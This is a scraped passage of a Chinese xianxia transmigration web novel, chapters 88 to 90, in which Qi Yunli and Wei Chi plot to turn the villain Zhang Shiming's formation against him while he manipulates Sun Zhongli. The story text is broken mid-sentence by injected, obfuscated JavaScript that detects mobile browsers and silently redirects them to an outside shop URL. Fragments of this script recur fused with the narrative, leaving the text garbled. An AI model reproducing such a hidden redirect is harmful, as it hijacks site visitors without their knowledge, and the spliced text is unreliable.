齐云鲤回头发现是卫池,就高兴起来,随手将细丝抛进池水。 “不是钓鱼,只是让这里的水动一下。” “我确实钓上来一条鱼。” 齐云鲤问:“什么鱼?” “自己看吧。”卫池递过来一张纸。 纸上画着阵法,上面的符号和图案稀奇古怪,齐云鲤完全不认识。 “这是什么?” “这是还没定型的阵法,他说可以打开你周围的通道,让其他魂魄离去。” 齐云鲤不懂阵法,但是清楚魂魄之事,毕竟石月观音雕像就是自己做的。 夺舍的魂魄如果不是目标明确,那就会很虚弱。以至于很多魂魄聚在一起,才能保证平安无事。 如果真有其他魂魄钻进青湖躯体,无论如何都不会自行离去。 “……这是假的。”齐云鲤皱眉说。 卫池说出关键:“当然是假的,不过这个阵法可以连接其他阵法。” 这是一件没听说过的事,齐云鲤只能问:“其他什么阵法?” “能大杀四方的阵法。”卫池皱起眉头。 “那先用这个会怎么样?” “鼎山龙息既是压迫也是保护,有阵法出现,龙息就会检查是否有威胁,”卫池详细说明,“这个阵法没威胁,其他阵法有威胁,不过连接之后这个阵法可以使出其他阵法的威力。” 也就是二者合作,共同出力。 齐云鲤只能想到:“借刀杀人?” “差不多是这个样子。”卫池点点头。 这是一种相当稀奇的手法,用得好就能效果翻倍。 原本是巨大威胁,不过齐云鲤却笑起来。 卫池当然不明白她笑什么,只能沉默。 而齐云鲤觉得借刀杀人重在“借”字,至于是谁借,借来干什么都没定论。 这个阵法就是“借”字,握刀之人是谁,被杀之人是谁,都还不能确定。 之前让九炼洞窟做秘境,始终没想通怎么让孙仲礼进入秘境。 如今张师铭搭桥铺路,那就真是解决一个大问题。 88. 攻守易形 施法布阵是修道人士的头等大事,各路人马都想方设法,出其不意。 由于大多数人的修为功法相差不大,所以关键不在阵法强弱,而在如何通过布局来发挥最大威力。 只要在铺设阵法时发现关键,以弱胜强并非虚无缥缈。 修道门派通常教完阵法基本知识,就会开始传授铺设阵法的秘诀。 阵法威力如何,普罗大众无法一决胜负。 但是怎么用一打出十的效果,他们就颇有研究。毕竟再怎么精修勤练也没有十,所以打出十的效果至关重要。 只要想的好,平平无奇的阵法也能绊倒高深莫测的修道人士。 哪怕毫无胜算,也能阴他一招。 看小说时,齐云鲤就觉得这是异想天开,所以没仔细看相关内容。 可如今她发现就是这样,既然已有借刀杀人的借,那就只剩刀和人。 张师铭的路谁都可以走,就看什么人最先到达终点。 “这个阵法对他有用,对我们也有用。”齐云鲤轻松地说。 这么一说卫池就知道她刚才在笑什么。 张师铭可以借用,他们可以借用,鼎山弟子也能借用。 他要借此施展祸害鼎山的术法,他们就能打出威不可挡的一击。 之前还天壤之别,现在就是公平竞争。 狭路相逢勇者胜就是如此。 卫池不知道她有什么打算:“你要借什么?” “孙仲礼是不是怎么说都不听?”齐云鲤问。 卫池低下头:“他只是失望,但没有绝望。” 无论怎么说孙仲礼都这样,也不知道究竟怎么回事。 齐云鲤觉得这可能就是小学生思路,只要确定标准答案,过程再稀奇古怪也能接受。毕竟答案已经确定,做错题就只是自己的错。 既然怎么说都不听,那就让他发现答案是错的。 答案错误,解题思路再对也是错的。 “毕竟空口无凭,那就让他见识一下张师铭会干什么。”齐云鲤说。 卫池有点担心:“要等到那个时候?” “我们也不知道会怎么做,还是让那边亲自表演。” “会不会太晚了?” 时间紧迫,不过有些事还是不能急,急则生乱。 虽然看起来拖到那时候太晚,但很可能恰到好处。 既然人算不如天算,那就天人合一。 齐云鲤解释:“所以要借力用力。” “借刀杀人的借?”卫池有些疑惑,她之前因此而笑,似乎与此有关。 齐云鲤点出:“只借不杀。” “有用吗?” “反正能让孙仲礼清醒。”齐云鲤很肯定。卫池依然担心:“感觉到时候都要打起来。” “还有高人出马。”齐云鲤放心地说。 “……什么人?” 感觉是个超出想象的答案,而回答也确实超出所料。 因为齐云鲤说:“鼎山掌门。” 太渊真人神出鬼没,大多数鼎山弟子都不知道他的模样,只是听说很厉害。 有这么个厉害的高人坐镇,谁都要敬鼎山弟子三分。 所以卫池没见过掌门,也知道他相当厉害。 鼎山灭门近百次,他始终没有办法,如果掌门出现或许就能扭转战局。 想到这里,卫池眼里就有一点光。 齐云鲤知道他在期待什么,只好说:“你冷静点,我还没说完。” 鼎山掌门远离俗世,所以众人对他期望太高。 不过有时候期望越大,失望越大。 “张师铭就是太渊真人叫过来的,而且他们在合作。”齐云鲤说出真相。 ——鼎山掌门跟鼎山灭门的罪魁祸首合作。 这句话太过离谱,卫池完全不敢相信自己的耳朵。 太渊真人难道还想要鼎山灭门? 卫池有点震惊:“怎么会这样?” “修为高深就会遇到稀奇古怪的事,青湖和青滔都很奇怪。”齐云鲤没有直接回答,而是从侧面解释说明。 卫池皱起眉头:“他们再奇怪,也不至于干这种事。” 青湖和青滔再奇怪,跟鼎山灭门的方向也不一致。 齐云鲤知道这相当匪夷所思,不过罗白音并没将鼎山掌门视为敌人。 也就是说太渊真人与鼎山灭门方向相反。 还会做出这种事,只能说明他被骗。 “其实最初鼎山灭门的时候,掌门也知道,”齐云鲤简单描述,“他请张师铭过来帮忙,结果却被骗。” 虽然都是猜测,不过基本就是如此。 罪大恶极的只有张师铭,其他人都是他的棋子。 卫池不敢相信:“这种事他也信?” “一路都顺风顺水,所以不会留意一些事。”齐云鲤解释。 卫池不可思议:“平安无事还有错?” “没有错,只是想不到还有人九死一生。” 齐云鲤没有直说,不过意有所指。 鼎山灭门近百次,或许这次会截然不同。 不断死去活来的还有卫池,鼎山能平安度过龙骨论战,那么他也能迎来新生。 这种鼓励卫池从未遇到,毕竟一直都在生死边缘,没人留意这种事。 齐云鲤也死过但是又活了,不是反复死去活来,而是死里逃生。 逃过那一劫,似乎脚下只有生路。 一开始说张师铭,然后是孙仲礼,接着提到太渊真人,最后变成卫池。 即使并非刻意说自己,但最终在说九死一生的似乎就是他。 卫池不知道这算安慰还是什么,只能问:“那孙仲礼怎么办?” “我让九炼洞窟做秘境揭开真相,之前似乎差不多,现在又得继续调整。” “菩提慧海还是青湖?”卫池很不可思议。 齐云鲤摇头:“不是,是另外五个修道人士。” “他们还能做秘境?”卫池之前并没留意那几人。 齐云鲤说:“还挺神通广大,不过是幼儿心智。” “九炼洞窟里打起来的是他们?”卫池问。 “估计还有青湖。” 青湖跟五个修道人士打来打去,十分不可思议。 “估计我跟他说不清,你也说一下。”齐云鲤掏出双筷子往地上一丢。 没过多久树林里就走出一个人,正是菩提慧海。 他看着四周密密麻麻的树丛有点恍惚,盯了很久,似乎想找出什么。 齐云鲤和卫池在池塘边,他就一直停在树下。 ——仿佛都能看出什么机密。 “要看下次看吧,有正事跟你说。”齐云鲤无奈开口。 菩提慧海依然没放弃:“这里感觉有什么东西。” “有东西的在那边。”齐云鲤指着一旁的池水。 玄镜池平静无波,似乎无论四周怎么动荡都如此,正如名字那样。 菩提慧海大为震撼,像是看到什么稀世珍宝。 鼎山充满龙息,万事万物都受到龙息压迫,不可能静止不动。 能平静至此,说明龙息压迫对池水微不足道。 “青湖住在这里,所以她才不愿去九炼洞窟。”齐云鲤解释。 她居然帮青湖说话,菩提慧海更加震惊。他见卫池也在这里,刚才又说有正事,顿时有种不祥之感。 “……你要说什么?” “情况有点复杂,所以秘境的事还要有所调整。” 九炼洞窟因为秘境吵了三年,好不容易平静下来,结果齐云鲤又要调整。 菩提慧海自然有所不满:“那件事已经定了。” “面具人是太渊真人叫过来的,秘境不改,他们两个就还是同一战线。” 齐云鲤平静地说出惊天秘密。 这个消息都已经不能用令人震惊来形容。 菩提慧海见卫池略微点头,才确定不是在说笑。 他在九炼洞窟忙了这么多年,结果鼎山这边在挖坑。 “他们两个还合作?”菩提慧海完全不信。 “合作得挺愉快。” “太渊真人难道还帮面具人打你们?”菩提慧海问出最大担忧。 齐云鲤只是说:“所以要让他去打面具人。” 拆散同伙,然后让他们自相残杀。 这就是齐云鲤的办法。 “你们两个说吧,阵法和秘境的事我也不了解。” 她说完就走到一边,于是卫池便跟菩提慧海说起来。他对秘境很了解,齐云鲤之前一说就知道是怎么回事。 一是将秘境连接通道放在阵法那里,只要打开阵法,孙仲礼就能进入秘境;二是让秘境里的环境要受到鼎山影响,就是并不固定,还能随时调整。 方法一还能接受,方法二就有点难, 菩提慧海说:“如果秘境还能因鼎山环境而变化,那就不普通了吧?” “他们又不是普通人,自然要干不普通的事。”听到这话齐云鲤就说。 菩提慧海有点为难:“他们以前没做过……” “那就学了再做,边学边做,距离龙骨论战还有小半个月时间,相信他们能成功完成。”齐云鲤似乎充满信心。 菩提慧海有点担心:“太累了吧?” “累了不好吗?”齐云鲤问得理所当然,“难道你还想陪他们玩?” 菩提慧海一直为带小孩精疲力竭,这时出现新方法,简直就是天赐良机。 “太好了!他们一定精雕细琢、精益求精。”菩提慧海感慨。 他终于可以光明正大、名正言顺休息一下。 于是他马上就跟卫池详细询问方法二,能有多细就有多细。 阴谋诡异越多,菩提慧海越高兴,他从没想过还能这样消耗那五人的精力。 由于太过兴高采烈,说到最后卫池感觉他都要庆祝起来。 原本是商量机密,结果仿佛要张灯结彩、锣鼓喧天。 甚至他走的时候还送给他们小礼物,每人一个围棋棋子,一黑一白。 菩提慧海说:“道生一,一生二,二生三,三生万物。我们们就是一二三,接下来就是生机勃勃、万物复苏。” 齐云鲤看着手里的黑色棋子问:“谁先落子?” 距离鼎山灭门不到半个月,如果不能抢占先机基本就没有胜算。 “黑色有先手优势。”菩提慧海知道她是什么意思,就赶紧解释。 齐云鲤说:“既然先下手为强,那你快去准备吧。” 菩提慧海听到这话就跑了,似乎刻不容缓。 卫池没想到他高兴成这样,想到齐云鲤在九炼洞窟呆了三年就有点疑惑:“那五个人这么棘手?” “精力太过旺盛,又没有具体任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阵法图案过于复杂,石月观音看不懂。 但龙息乱象一事之前有相关讨论,不能太乱。 “太乱,鼎山龙息就会出手。”她很为难,就算有用也没什么办法。 毕竟再厉害也赢不了鼎山龙息。 “这是他留下来的,他想借这个阵法使出惊天一击,我们也可以借此使出远超所想的攻击。”齐云鲤知道她的顾虑,便解释说明。 借力用力和借刀杀人反正都是借,就看谁借的好。 听起来像是要去当坏人,石月观音很忐忑:“攻击太大会给鼎山造成损害。” “所以就看他能不能挡住,”齐云鲤完全不担心,“这次他守城,我们攻城。” ——她完全调转攻守之势。 昔日张师铭要毁天灭地,这次就让他保护鼎山。 “仁义不施而攻守之势异也?”石月观音只能想到。 齐云鲤点评:“他这辈子就没仁义过。” “那下辈子呢?” “所以你送他上路吧。” 这说得相当夸张,其实龙骨论战时谁都无法彻底了结此事。不过石月观音听完就信心百倍,顿时不再灰心丧气。 之前她总是充满忧虑,时时刻刻都在担心。 前面的穿书者全都消失殆尽,下一个就是自己。不过还能送小说作者上路,那就是报仇雪恨。穿书后一堆乱七八糟的事,总算能做个了断。 不用再提心吊胆,那就能大开大合。 “龙息乱象可以有很多打法。”石月观音转头说。 卫池知道她会给出详细计划,于是就先介绍起张师铭的阵法。计划要根据阵法调整,这样才能百无一漏。 那边在详细讨论龙息乱象,齐云鲤就坐在轮椅上,朝池水里丢黑色棋子。 既然黑棋有先手优势,那就希望真龙抢占先机。 张师铭不会坐视不管,一定会有很多准备。 不过他在准备,鼎山也在准备,最终结果还没定论。 玄镜池位于鼎山最下方,往上走到离飞泉院最近的院落,就是张师铭如今住的地方,谭明诗也住在那里。 那里离飞泉院最近,因此龙息压迫明显。 不会有鼎山弟子在附近出现,比起那里他们还不如去白鹭坪。 张师铭知道这是为了减少他跟鼎山弟子的接触,罗白音有意如此,他并不担心。毕竟他也不想天天跟鼎山中人见面,只要遇见基本没好事。 相比之下还是跟谭明诗交代情况更重要。 “你在鼎山三年,学得怎么样?”张师铭坐在石凳上问。 谭明诗站在一旁回答:“鼎山地形我已熟记于心。” 熟悉地形便能避开一切阻碍。 “鼎山弟子修为不高,主要是利用护山大阵来对抗外敌,”张师铭说得不屑一顾,“护山大阵一破,他们就束手无策。” “还有剑阵呢?”谭明诗很好奇。 张师铭评价:“那就是糊弄人的东西,不用操心。” “护山大阵一破,三渺宗便能直捣黄龙。”他说得千真万确。 89. 偷袭的准备 三渺宗与鼎山虽然都是名门正派,但关系恶劣。 一个眼里只看得到有钱人,一个眼里装着普罗大众。 即使还有止水宗那种邪魔歪道,三渺宗和鼎山也不可能握手言和。 ——谭明诗深知此事。 真龙飞到鼎山,三渺宗在世间有关化龙的说法就频临破碎。即使修道人士对三渺宗还是恭恭敬敬,但内心已经出现偏差。 真龙消失数百年,谁拿到化龙资质谁就能在世人面前风光无限。背后还有地位、权力、利益,种种好处应有尽有。 如今鼎山中人化龙就是对三渺宗的最大威胁。 因此三渺宗派谭明诗过来打探情报,鼎山再不喜欢三渺宗也不能对单独一人动手。 而且那人明显被三渺宗误导,之前都是遵照指示办事,后来便能心平气和呆在鼎山,学习化龙相关知识,还偶尔帮个忙。 当然这只是张师铭和谭明诗的感觉,其实是鼎山受到威胁,只能暂时妥协。 不过无论起因如何,谭明诗都留在鼎山三年。期间她扮演一个误入歧途的修道人士,呆在鼎山又重新走回正道。 不管真相如何,表面上都令人欣慰。 但谭明诗来到鼎山,并非全是三渺宗的意思,也有她的意思。 最开始张师铭出现在三渺宗时,没人在意也没人理睬,可谭明诗却发现一点前所未见的东西。 在没人留意的时候,他显露的功法不属于名门正派,也不属于邪魔歪道。于是她大力相助,让张师铭出现在三渺宗长老眼下。 他很快便展露头角,谭明诗的地位也水涨船高。 本以为那是天大的宝贝,但姜凝气绝身亡,她就发现不是宝贝,而是刀剑。 ——那么持刀之人只能是她。 张师铭可以攻击任何人,但绝不会有她。 有了这个保障,她才能稳住现有地位,然后继续往上升。 因此当三渺宗长老为人选发愁时,谭明诗就毛遂自荐。 鼎山与三渺宗不和,所以前往鼎山有危险,那些少爷小姐谁都不愿以身试险。 谭明诗家境不优,在三渺宗始终得不到重视。 不过等到解决化龙的麻烦,就再也不会有人计较她家资产多少。 谭明诗呆在鼎山三年,已经摸清地形。哪里龙息压迫重,哪里龙息压迫轻,她都一清二楚。 虽然化龙一事还是难以捉摸,不过龙骨论战时就可以趁机上山。 到时候龙息弥漫四方,之前就将龙息化为己用的三渺宗自然能对抗龙息压迫,而将鼎山弟子全部收拾。 无论龙骨论战原本有什么,三渺宗的偷袭都出其不意。 张师铭的话正合此意,护山大阵是鼎山最麻烦的东西,之前让修道人士突破阻挡直上鼎山,已经消耗他很多功法。 若是三渺宗上鼎山时,依然有护山大阵笼罩整座山,那就会相当棘手。 不是无法破坏阵法,只是费时又费力,实在没必要。 护山大阵一破,三渺宗直捣黄龙,这才是两人共同目的。 有这个准备就会轻松很多。 谭明诗知道已经准备妥当,就要先回三渺宗禀报详情。因此她先去跟孙峥湖说明此事,他不知道在忙什么,听说她要走居然头也不抬。 谭明诗等待片刻结果还是没人理她,她就自行下山离开。 直到她走出鼎山地界,孙峥湖才反应过来要出大事。刚才他就感觉不吉利,谭明诗消失后就更加不吉利。 “要出事了,要出事了。”他喃喃自语。 有个路过的鼎山弟子看他一眼就说:“听说三渺宗会过来。” “你听谁说的?”孙峥湖相当好奇。 “冬青见谭明诗走了,就到处这么说。” 鼎山弟子伸手一指,孙峥湖才发现已经过去很长时间。 没有鼎山弟子会主动接近冬青,知道此事只能说明那人到处宣扬。 虽然自己料得很准,不过已经有人知道那就失去意义。 为了强调这件事,孙峥湖马上去晨练之地旁支起架子贴上通告,通知所有鼎山弟子小心防范三渺宗。 当天下午所有鼎山中人都知道这件事。 这个通知并没有别具一格,更严重的比比皆是,而孙峥湖也正为此操心。 不久之后就是龙骨论战,鼎山上下都在为此准备。 龙骨论战时,禁地龙息会四溢出来,到时候鼎山上下遍布龙息。 新入门的鼎山弟子都有点瑟瑟发抖,之前的龙息压迫就让人不舒服,到时只会更严重。 不过这时孙仲礼担心的却是张师铭,虽然他相当可疑,但既是小说作者又是穿书者,跟自己是一路的。 那个三渺宗人估计是在利用他,而他碍于情面不好拒绝。 孙仲礼被鼎山弟子帮助后,觉得自己也该帮助他人,感觉眼下就是出手的最佳时机,因此他独自走到飞泉院下面那个院落。 院子很大,不过空空荡荡只有一人。 张师铭坐在石凳上,看起来有点忧郁。 孙仲礼便走过去说:“过段时间就是鼎山龙骨论战,你要振作起来啊。” 他不知道龙骨论战会发生鼎山灭门,还以为就是寻常比武。 张师铭捕捉到这个关键,于是长叹一声:“你还没看到龙骨论战是吧?” “还没有,不过应该很精彩吧?”孙仲礼一脸茫然。 “那才是最大麻烦,帮助化龙之人只是开始,平安度过龙骨论战才是关键。” 孙仲礼对灭门惨案一无所知,只是感觉曾经有段时间班上同学为了小说吵得不可开交,都快打起来。 如今张师铭这么说,就恰好符合当时的混乱。 他很好奇地问:“龙骨论战有什么事?” 小说里有很多打斗,按理来说龙骨论战也不会差。 之前就有不少铺垫,龙骨论战必定十分精彩。 孙仲礼满心期待,不过张师铭并没有顺势开口,而是沉默不语。 很久之后他才说出四个字:“鼎山灭门。” 一时间四周鸦雀无声,孙仲礼过了很久也没接受这件事,他想过种种挫折却从没想过这种结局。 但张师铭的身份和态度证明此事千真万确。 他总算知道为什么那些人吵得那么凶,还差点打起来。 都发生这种事,打起来也很正常。 “为什么?”很久之后孙仲礼只是问。 真实原因当然不能透露,因此张师铭只是说:“基本就是止水宗和人炉的原因,但具体情况我还没想好……” 这就是答案已经明确,但解题思路还没出来。 连载更新基本都是日更,如果没有足够存稿,就始终在赶稿。 孙仲礼深有同感,很多时候他也是为解题思路焦头烂额。 题目没做出来,还有人催他交作业,只能想来想去,查来查去。 没想到写小说也有这种烦恼。 不过—— “卫池还会干那种事?”孙仲礼十分不可思议。 张师铭低头叹息:“他也是被利用,止水宗跟鼎山势不两立,所以下此毒手。” 鼎山和止水宗势不两立到就快不共戴天,这种情况也合情合理。 “那我们总该干点什么吧?”孙仲礼觉得这就是穿书的意义。 他不知道鼎山灭门近百次,罪魁祸首就是张师铭。 作者三人行认真地说:“既然原因没想好,那么结果可能只是错觉。” 他没想出解题思路,只能先否定答案。 “从源头出发改变结局?”孙仲礼仿佛看到希望,自己以前还从未想过这种方法。 张师铭点点头:“不过现在情况有点复杂,我要稳住局面,难以同时出手。” “还有两个穿书者啊?”孙仲礼有点激动。 张师铭皱起眉头,似乎有点为难。 “这三年我学了很多,已经可以施法布阵!”孙仲礼觉得他是在担心自己实力不济,于是马上弄出一个阵法,虽然很小但是很亮。 虽然他打架不行,但施法布阵还是能够胜任。 张师铭瞬间得出答案,打打杀杀不可能,但是布局很有可能。 既然不能打,那就干些不用打的事。 于是他说:“我观察三年,鼎山禁地最为可疑。” 帮助真龙恢复三年,张师铭一直在禁地出没,有所发现也合情合理。 孙仲礼问:“那边有什么?” “禁地至关重要,外人如果想插手鼎山事务,从那边入手最好。” “就是说鼎山灭门是因为那里?” 鼎山禁地就类似命门,相当关键也相当脆弱。 ——不可替代也危机重重。 在那里动手很难,不过一旦成功就势不可挡。 张师铭很为难:“所以在那边施法布阵应该有效,可是常人根本不可能在那里施法。” 寻常修道人士不可能在鼎山禁地施法布阵,鼎山弟子都要在外施法防寒,才冲进去办事,在禁地里只能躲在红梅下保暖。 “什么人不算常人?”孙仲礼觉得还有希望。 “——穿书者。” 穿书者虽然跟书中之人交换魂魄,但知识不同,能发挥的作用也不同。 说起来也算是读者和小说的合作。 张师铭说出答案,孙仲礼十分兴奋,随后想起还有一个人。 “还有那个青湖……”他觉得吐露真名不好,所以没说出齐云鲤的名字。 张师铭没计较那个青湖的真名,只是说:“化龙一事影响太大,她已经不能从禁地抽身。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356981|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这种说法太过遥远,孙仲礼不明白背后的道理。 神秘莫测的事太多,三年时间他也只是稍微习惯那些稀奇古怪。 “……那怎么办?”孙仲礼很困惑。 张师铭说:“我要稳住局面,看来只剩你还有机会。” 这明显就是让孙仲礼身负重任。 “事关重大,我承担不起吧?”他不禁怀疑。 “那鼎山灭门,就只剩小说主角一人了……”张师铭说得十分丧气。 卫池身为人炉已经命途多舛,一旦鼎山灭门还得背负血海深仇和铺天盖地的骂名。即使日后报仇雪恨、证明清白,鼎山中人也不会再回来。 虽然孙仲礼看得不多,但是相当钦佩小说主角的百折不挠,如果是自己早就跪地求饶。眼看越来越好,谁知鼎山突然灭门,而且还跟他有关。 再厉害也无法承受这种事,他没暴毙身亡就相当不错。 孙仲礼之前始终被人欺负,一直希望有人能救自己。 如今来到这里,虽然鼎山弟子都会帮忙,但总感觉少了点什么。现在发现少的是“救”,既然有人帮忙,那么他就要去救人。 被救之人是卫池,救人者是穿书者孙仲礼。 “就算很难,我也能试一试。”孙仲礼肯定。 张师铭甚感欣慰:“你能出手真是太好了,我实在束手无策。” 于是孙仲礼得到一个任务,他要去鼎山禁地施法布阵,防止外人插手鼎山事务。 当然实际是帮张师铭布阵,鼎山禁地至关重要,如果不在掌控下,就有可能破坏计划。青湖和小说主角都不受控制,稳妥起见还是要夺取鼎山禁地。 至于孙仲礼当然就是垫在那里,确保禁地属于小说作者。 两人在院落里交谈,虽然实际内容相当离谱,但双方神色都没变。 孙仲礼不知道即将大难临头,张师铭则想到小说主角那边还有一手。即使鼎山再难对付,他也能以那个为引子,打开一个邪魔歪道都无法想象的阵法。 让鼎山灭门很耗费穿书者之力,如今他需要重新想办法解决鼎山。 毕竟跟青湖打那么多次,他也有些力有未逮。 好不容易让她形神分离,结果又来个穿书者跟自己打了一路。 只能说青湖此人用心险恶。 想到这里,张师铭就表示他还要跟小说主角商量,到时不知会发生什么,还是先做好准备。 孙仲礼深表同意,既然卫池有性命之忧,那当然要好好准备。 虽然此时天色正好,不过似乎藏着阴霾,随时都能出现。 等深藏其中的杀招露脸时,所有人都得付出代价。 张师铭以深明大义的形象走到玄镜池,然后受到明显嫌弃。 “我试过了,那个阵法没用。”卫池直言不讳。 石月观音给的打法太过复杂,之前那个阵法完全无法承受。 张师铭十分不可思议:“还有这种事?” 那是他用近百人试出来的阵法,不可能无效。 他不知道石月观音给的打法是生路,再简单也比害人复杂。 死就是随手的事,生才是难于上青天。 “你力所不能及就算了。”卫池很看得开。 但张师铭完全不能接受:“我还有余力,还能改!” 如果不能大显身手,就显得他活着只是浪费。 之前不择手段写出那个小说,现在也能想方设法改到最好。 最后在卫池监督下,张师铭把阵法改得天衣无缝,即使同时连接两个阵法也绰绰有余。他不清楚自己究竟在忙什么,但这种时候绝不能认输。 见卫池心满意足,他只能说:“龙骨论战时,这个阵法一定要记得铺开。” “为什么要在那个时候?”卫池问。 张师铭解释:“那时鼎山遍布龙息,就是引出魂魄的最佳时机。” 龙骨论战时,就能用背后的阵法将鼎山中人赶尽杀绝。 “如果没用呢?”卫池怀疑。 张师铭强调:“肯定有用,顶多就是不能一次解决问题。” 不能一次灭门,他还可以补刀。 “下次还用这个阵法?” “我还能再改……” 卫池跟孙仲礼的态度截然不同,差距大到张师铭都不免自我怀疑。 幸亏已经在另一边安排好谁也无法拔除的钉子。 他在小说主角这里备受打击,这边结束后就转身去找玄镜池另一个人。那个人还坐着轮椅,张师铭就不信这还赢不了。 齐云鲤在房间里刚准备从轮椅上站起来,就看见张师铭突然冒出来。 吓得她两腿一软,又跌坐回去。 张师铭自然要表示关切,马上过去说:“不要急不要慌,化龙之人的恢复时间比较长。” 90. 骗人 鼎山灭门始终是小说未解之谜,读者猜来猜去都只是从个人角度出发,从未联系过势力。之前张师铭说止水宗和小说主角联手,这就超出所有人预料。 毕竟是修道小说,因此读者只能想到个人恩怨。 但这种说法就已经有利益争夺、势力争斗。 鼎山和止水宗的恩怨不止正邪不两立,而是牵涉到背后利益,也就是人炉。 人炉既是利益也是利器,鼎山得到人炉也就是露出最薄弱的一面。 很多时候救人的同时,也会暴露自己最致命的弱点。 止水宗可以利用人炉,让鼎山灭门。 张师铭这么说,单从小说来看很有可能,不过齐云鲤已经知道真相,所以根本不可能信。 但是罪魁祸首的状态当然要顾及,稍有不慎就可能毁天灭地,因此她默认是卫池引得他们斗起来。 眼下张师铭出现在这里,基本已经见过卫池,他还会说什么齐云鲤已做好心理准备。 开头就言辞关切,她只能做出符合那句话的状态。 齐云鲤跌坐回轮椅半天也没坐直,却始终坚持摆好姿势,在旁人看来难免有种身残志坚之感。 张师铭见状都有点感动,这个青湖跟他打了一路,总算有所报应。 “慢慢来就行,不要急不要慌,你还可以用功法来调整。” 齐云鲤听完都想翻白眼,她又不是不知道。 不过她还是忍住这种冲动,按照张师铭的提示来摆正姿势。 “唉,化龙之后就虚弱很多。”她赶紧感慨一句。 这就是明显的生活不能自理,张师铭听了心情自然大好特好。 虽然不知道这个青湖的真名,但太过棘手,跟青湖本人就是一路的。如今她唉声叹气,就意味着青湖也低头认输。 “没事,不用太过操心,”张师铭话音一转,“相比之下还是小说主角更麻烦。” 齐云鲤一听就知道居心不良,于是继续叹气:“我也管不了他。” 师徒关系不好,这就是张师铭最大的安慰。 张师铭也叹气:“我刚才跟他说了几句,他明显有些不耐烦。” “只是不耐烦已经相当好。”齐云鲤继续添油加醋。 既然抹黑,那就黑得彻底黑得通透,反正她也不怕。 张师铭十分疑惑:“难道他脾气还不好,不至于吧?” 小说主角虽然没有阳光明媚,但也不是暴躁易怒。 “之前你说止水宗的事我还觉得离谱,后来发现他跟之前判若两人,”齐云鲤皱起眉头翻白眼,“难道还跟止水宗老大越来越像?” 之前张师铭说止水宗会利用人炉影响卫池,齐云鲤就让影响更深入一点。 不做一些事还是较为浅薄,直接脱胎换骨才方便。 邪魔歪道也要有点追求,别只停留于表面。 这就打开新思路,张师铭之前还在想要怎么骗,眼下就有送上门的靶子。 于是他说:“如果真是这样,那么徒弟对师父的威胁就会变大。” 之前说止水宗利用人炉来影响主角,然后影响鼎山,是因为势不两立。 如今鼎山以外又出现一个止水宗仇敌。 既然能导致鼎山灭门,人炉师父也难逃毒手。 “我在千溪镇打过黄云曳……”齐云鲤不介意再火上浇油。 “也许你至今还没恢复,就跟他有关。”张师铭言辞恳切,仿佛真有这么回事。下手狠是黄云曳的基本准则,基本能将人挫骨扬灰。 小说主角就是因此才没休止地跟止水宗打,而且都打到那个程度还要鼎山灭门,可见心狠手辣。 若是其他人,可能就会被吓到,不过齐云鲤想的是怎么吓回去。 ——反正编故事她也不陌生。 齐云鲤问:“当时好像让他发现鼎山什么事,会不会被趁机利用?” 她一副恍然大悟的模样,让张师铭也有点犹豫。 虽然自己在骗人,可一旦对方所说为真呢? “……发现什么事?” “打他的时候我用了鼎山龙息,由于止水宗没有龙息,所以瞬间就呈碾压之势,”见对方已经上钩,齐云鲤就编起来,“之前没有鼎山中人那样使用龙息,我也是瞒着其他人。万一他觉得这里是龙息宝库,不止要鼎山灭门呢?” 在她看来这就是要坟头蹦迪,但张师铭不这么认为。 “他想获得龙息就得保障鼎山不被灭门。” 龙息是受鼎山之力才稳定于此,一旦鼎山灭门能稳定龙息的力就会消失,到时鼎山龙息只会流散各地。 流散各地的龙息想要重新聚集,那就相当难。 毕竟人炉只能用来炼化龙息,又不能收集龙息。 收集龙息是费力不讨好的事,只有鼎山弟子才会做。 “先夺取鼎山龙息,再让鼎山灭门呢?”齐云鲤调整前后顺序,也就是灭门前和灭门后的区别。 张师铭摇头:“要是能直接夺取鼎山龙息,也就不会是邪魔歪道。” 在鼎山灭门前夺取龙息,这是他才能做到的事。 “难道还是名门正派?”齐云鲤十分好奇。 张师铭继续否认:“都不是。” “不是名门正派也不是邪魔歪道,就能夺取鼎山龙息?” 张师铭依然否认:“也不能。” 齐云鲤当然明白何人可以直接夺取鼎山龙息,不过也只能装作不知道:“那要怎么办啊?” “化龙。”张师铭说出答案。 他说出这句话就盯着那个青湖,隐约觉得她别有用心。 鼎山龙息是为真龙准备,那么化龙才是获取龙息的最好途径。 ——因此化龙之人相当可疑。 齐云鲤在这种审视目光下,想到的其实是好事,但是不能表现出来。要在鼎山化龙就得保障鼎山不被灭门,既然这样那就只能自己拆自己的台。 让张师铭来保护鼎山真是再好不过。 不过她表面上只能说:“我这么虚弱,没有夺取鼎山龙息吧?” “你来鼎山保命,就是依靠龙息之力。”张师铭指出。 齐云鲤似乎完全想不通:“怎么我还会这么虚弱?” “只可能是有外力。”张师铭说得很简单。 最后齐云鲤感觉他就是高深莫测,威不可挡,自己都难以望其项背。 不过把他捧得那么高,对她也有利。 虽然什么也没透露,但是知道化龙前提是鼎山犹存,就能保证计划顺利进行。 既然最终毁天灭地,那么在此之前就要风光无限、万人景仰。 齐云鲤感觉事情基本清楚,就往后一靠,呼出几口大气,俨然一副气息不稳的模样。张师铭感觉她就要断气,马上告辞离去。 不过等他走远,却有一个声音传来:“你要断气了?” “比你活得长。”齐云鲤没好气地说。 来者自然是卫池,他在外面遇见张师铭,就觉得那人不会善罢甘休。 因此他躲在旁边观望,结果张师铭走进玄镜池正门,还急匆匆离开,似乎是要摆脱什么。 